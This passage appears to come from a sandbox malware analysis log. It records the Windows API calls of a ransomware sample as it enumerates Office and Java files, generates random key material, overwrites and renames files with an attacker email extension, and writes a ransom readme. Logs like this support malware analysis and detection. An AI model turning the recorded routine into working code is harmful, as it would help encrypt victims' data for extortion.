returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.118] wcscat (in: _Dest=0xd4c9790, _Source="STINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll" [0150.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c9790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1844 [0150.119] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="VISBRR~1.TRX")) returned 1 [0150.120] wcscmp (_String1="VISBRRES.DLL.trx_dll", _String2=".") returned 1 [0150.120] wcscmp (_String1="VISBRRES.DLL.trx_dll", _String2="..") returned 1 [0150.120] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x9405c8 [0150.120] wcscpy (in: _Dest=0x9405c8, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.120] wcscat (in: _Dest=0x9405c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.120] wcscat (in: _Dest=0x9405c8, _Source="VISBRRES.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll" [0150.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9405c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1848 [0150.121] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x70273800, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x70273800, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x73960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="VISINT~1.TRX")) returned 1 [0150.121] wcscmp (_String1="VISINTL.DLL.trx_dll", _String2=".") returned 1 [0150.121] wcscmp (_String1="VISINTL.DLL.trx_dll", _String2="..") returned 1 [0150.121] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0xd4c9820 [0150.121] wcscpy (in: _Dest=0xd4c9820, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.121] wcscat (in: _Dest=0xd4c9820, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.121] wcscat (in: _Dest=0xd4c9820, _Source="VISINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll" [0150.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c9820, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184c [0150.122] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1789a00, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa1789a00, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x24360, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="WWINTL~1.TRX")) returned 1 [0150.122] wcscmp (_String1="WWINTL.DLL.trx_dll", _String2=".") returned 1 [0150.122] wcscmp (_String1="WWINTL.DLL.trx_dll", _String2="..") returned 1 [0150.122] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0xd4c98b0 [0150.122] wcscpy (in: _Dest=0xd4c98b0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.122] wcscat (in: _Dest=0xd4c98b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.122] wcscat (in: _Dest=0xd4c98b0, _Source="WWINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll" [0150.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c98b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1850 [0150.124] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2a9c700, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa2a9c700, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x110b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="WWINTL~2.TRX")) returned 1 [0150.124] wcscmp (_String1="WWINTL.REST.trx_dll", _String2=".") returned 1 [0150.124] wcscmp (_String1="WWINTL.REST.trx_dll", _String2="..") returned 1 [0150.124] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0xd4c9940 [0150.124] wcscpy (in: _Dest=0xd4c9940, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.124] wcscat (in: _Dest=0xd4c9940, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.124] wcscat (in: _Dest=0xd4c9940, _Source="WWINTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll" [0150.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c9940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1854 [0150.125] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61df1900, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61df1900, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x23960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="XLINTL~1.TRX")) returned 1 [0150.125] wcscmp (_String1="XLINTL32.DLL.trx_dll", _String2=".") returned 1 [0150.125] wcscmp (_String1="XLINTL32.DLL.trx_dll", _String2="..") returned 1 [0150.125] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x940530 [0150.125] wcscpy (in: _Dest=0x940530, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.125] wcscat (in: _Dest=0x940530, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.125] wcscat (in: _Dest=0x940530, _Source="XLINTL32.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll" [0150.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1858 [0150.126] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61df1900, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61df1900, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x126760, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="XLINTL~2.TRX")) returned 1 [0150.126] wcscmp (_String1="XLINTL32.REST.trx_dll", _String2=".") returned 1 [0150.126] wcscmp (_String1="XLINTL32.REST.trx_dll", _String2="..") returned 1 [0150.126] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x940498 [0150.126] wcscpy (in: _Dest=0x940498, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.126] wcscat (in: _Dest=0x940498, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.126] wcscat (in: _Dest=0x940498, _Source="XLINTL32.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" [0150.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x185c [0150.127] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e38000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd7e38000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 1 [0150.128] wcscmp (_String1="XLSLICER.DLL.trx_dll", _String2=".") returned 1 [0150.128] wcscmp (_String1="XLSLICER.DLL.trx_dll", _String2="..") returned 1 [0150.128] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x940400 [0150.128] wcscpy (in: _Dest=0x940400, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.128] wcscat (in: _Dest=0x940400, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0150.128] wcscat (in: _Dest=0x940400, _Source="XLSLICER.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll" [0150.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1860 [0150.439] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e38000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd7e38000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 0 [0150.794] FindClose (in: hFindFile=0x942670 | out: hFindFile=0x942670) returned 1 [0151.970] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9079e0) returned 1 [0151.970] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1368) returned 1 [0151.970] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f230) returned 1 Thread: id = 2659 os_tid = 0x162c [0147.038] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties")) returned 0x2020 [0147.039] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties", dwFileAttributes=0x20) returned 1 [0147.039] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x133c [0147.039] GetFileSizeEx (in: hFile=0x133c, lpFileSize=0x8bcf91c | out: lpFileSize=0x8bcf91c*=719) returned 1 [0147.039] SetFilePointerEx (in: hFile=0x133c, liDistanceToMove=0x2cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.039] ReadFile (in: hFile=0x133c, lpBuffer=0x8bcf8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8bcf89c, lpOverlapped=0x0 | out: lpBuffer=0x8bcf8a0*, lpNumberOfBytesRead=0x8bcf89c*=0x4, lpOverlapped=0x0) returned 1 [0147.041] SetFilePointerEx (in: hFile=0x133c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.041] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af050 [0147.041] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af028 [0147.041] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefd8 [0147.041] NtQuerySystemTime (in: CurrentTime=0x8bcf87c | out: CurrentTime=0x8bcf87c*=132174899216470000) returned 0x0 [0147.041] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x31e418c8 [0147.041] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x4101e4ab [0147.041] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x6eb423ff [0147.041] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x82b9b20 [0147.041] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x475dada2 [0147.041] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x4a5634ad [0147.041] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x4d34710f [0147.041] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x199a5a7b [0147.041] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x6dd02101 [0147.041] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x2ef9a72e [0147.041] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x3ba27165 [0147.041] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x6eee9c97 [0147.041] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x165181e8 [0147.041] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x2d500c96 [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x3a155189 [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x12500cab [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x76b931e8 [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x6920bc44 [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x6a804419 [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x128f2ec5 [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x73f79aaa [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x675a87e8 [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x588a7491 [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x1bdf7ca7 [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x92ea576 [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x5506b5aa [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x3f81b7a6 [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x739e9b49 [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x6e44dd70 [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x3860f6cb [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x2d4c4212 [0147.042] RtlRandomEx (in: Seed=0x8bcf888 | out: Seed=0x8bcf888) returned 0x2fb35f3 [0147.053] ReadFile (in: hFile=0x133c, lpBuffer=0xd494048, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x8bcf878, lpOverlapped=0x0 | out: lpBuffer=0xd494048*, lpNumberOfBytesRead=0x8bcf878*=0x2cf, lpOverlapped=0x0) returned 1 [0147.053] SetFilePointerEx (in: hFile=0x133c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.053] WriteFile (in: hFile=0x133c, lpBuffer=0xd4a0850*, nNumberOfBytesToWrite=0x2cf, lpNumberOfBytesWritten=0x8bcf874, lpOverlapped=0x0 | out: lpBuffer=0xd4a0850*, lpNumberOfBytesWritten=0x8bcf874*=0x2cf, lpOverlapped=0x0) returned 1 [0147.055] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af050 [0147.055] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefd8 [0147.056] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefd8) returned 1 [0147.056] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a0850) returned 1 [0147.056] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494048) returned 1 [0147.056] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e88f0) returned 1 [0147.056] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2860) returned 1 [0147.056] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x37) returned 0x8d9b10 [0147.056] SetFilePointerEx (in: hFile=0x133c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.056] WriteFile (in: hFile=0x133c, lpBuffer=0x9bfdf0*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x8bcf8dc, lpOverlapped=0x0 | out: lpBuffer=0x9bfdf0*, lpNumberOfBytesWritten=0x8bcf8dc*=0x11b, lpOverlapped=0x0) returned 1 [0147.057] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bfdf0) returned 1 [0147.057] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da390) returned 1 [0147.057] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefd8) returned 1 [0147.057] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9b10) returned 1 [0147.057] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af050) returned 1 [0147.057] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af028) returned 1 [0147.058] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefb0) returned 1 [0147.058] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee20) returned 1 [0147.058] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xfa) returned 0xd4ca080 [0147.058] wcscpy (in: _Dest=0xd4ca080, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" [0147.058] wcscat (in: _Dest=0xd4ca080, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.mailto[2Hamlampampom@cock.li].cd46d" [0147.058] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8bcf894, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0147.058] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x110) returned 0x9bfdf0 [0147.060] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bfdf0) returned 1 [0147.060] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd44de90) returned 1 [0147.060] NtQueryInformationFile (in: FileHandle=0x133c, IoStatusBlock=0x8bcf8a0, FileInformation=0x8bcf878, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8bcf8a0, FileInformation=0x8bcf878) returned 0x0 [0147.060] NtSetInformationFile (FileHandle=0x133c, IoStatusBlock=0x8bcf8a0, FileInformation=0x8bcf878, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.061] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ca080) returned 1 [0147.061] FlushFileBuffers (hFile=0x133c) returned 1 [0148.051] CloseHandle (hObject=0x133c) returned 1 [0148.052] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4718 [0148.052] wcscpy (in: _Dest=0x8f4718, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\" [0148.052] wcscat (in: _Dest=0x8f4718, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\CD46D-Readme.txt" [0148.052] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\cd46d-readme.txt")) returned 0xffffffff [0148.768] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c0 [0149.199] WriteFile (in: hFile=0x16c0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x8bcf89c, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x8bcf89c*=0x6fd, lpOverlapped=0x0) returned 1 [0149.200] CloseHandle (hObject=0x16c0) returned 1 [0149.200] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4718) returned 1 [0149.200] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6800) returned 1 Thread: id = 2660 os_tid = 0x1630 [0147.062] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x9345d0 [0147.062] wcscpy (in: _Dest=0x9345d0, _Source="C:\\Users\\5p5NrGJn0jS 